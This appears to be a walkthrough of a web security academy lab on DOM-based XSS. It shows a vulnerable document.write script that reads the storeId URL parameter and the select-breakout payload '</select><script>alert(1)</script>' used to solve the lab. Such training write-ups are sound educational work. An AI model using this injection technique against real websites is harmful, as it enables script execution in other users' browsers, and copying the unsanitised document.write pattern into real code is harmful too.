Lab: DOM XSS in document.write
sink using source location.search
inside a select element
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write
function, which writes data out to the page. The document.write
function is called with data from location.search
which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert
function.
Solution
In this lab, we’ll tackle a DOM-based XSS vulnerability in the stock checker functionality. By manipulating the storeId
parameter in the URL, we can inject malicious JavaScript that executes in the victim’s browser. Let’s break it down step by step.
Understanding the Lab Setup
Access the lab, and you’ll see a simple shopping page with various products. Click on the “View details” button for any product to navigate to its page.
Scroll down to find the “Check stock” button along with a drop-down list of cities. This is where the vulnerability lies.
Examining the Vulnerable Script
Right-click on the cities drop-down and select Inspect to open the Developer Tools. Inside the HTML, locate the <script>
element above the <select>
element. Here’s what you’ll see:
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
The script uses document.write
to dynamically add an <option>
element to the drop-down if the storeId
parameter is present in the URL. This functionality allows us to control the content of the <select>
element, making it vulnerable to XSS.
Injecting Data into the Drop-Down
Add a storeId
parameter to the end of the URL with a custom string value:
&storeId=test
For example, the final URL would look like this:
https://0a40007d03d8a7f2800d1248003a00d1.web-security-academy.net/product?productId=1&storeId=test
Press Enter to refresh the page. Scroll down to the drop-down and inspect it again. You’ll notice that your custom string is now part of the <select>
element:
<select name="storeId">
<option selected="">test</option>
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>
Crafting the XSS Payload
To exploit the vulnerability, we need to break out of the <select>
element and inject a malicious script. We’ll close the <select>
tag and insert an <script>
tag with an alert
function. Add the following payload to the storeId
parameter:
</select><script>alert(1)</script>
The final URL will look like this:
https://web-security-academy.net/product?productId=1&storeId=test</select><script>alert(1)</script>
Observing the Exploit in Action
Refresh the page with the crafted URL. The browser will execute the injected payload, and a pop-up window will appear displaying the alert message.
Verifying the Injection
Inspect the HTML again, and you’ll see that the <script>
tag has been successfully injected outside of the <select>
element:
<select name="storeId">
<option selected="">M4rdukWasH3re</option>
</select>
<script>alert(1)</script>
<option>London</option>
<option>Paris</option>
<option>Milan</option>
This demonstrates that the page structure was broken, and our payload executed successfully.
Congratulations! You’ve successfully exploited and understood a DOM-based XSS vulnerability. Keep practicing, and continue building your expertise in web application security!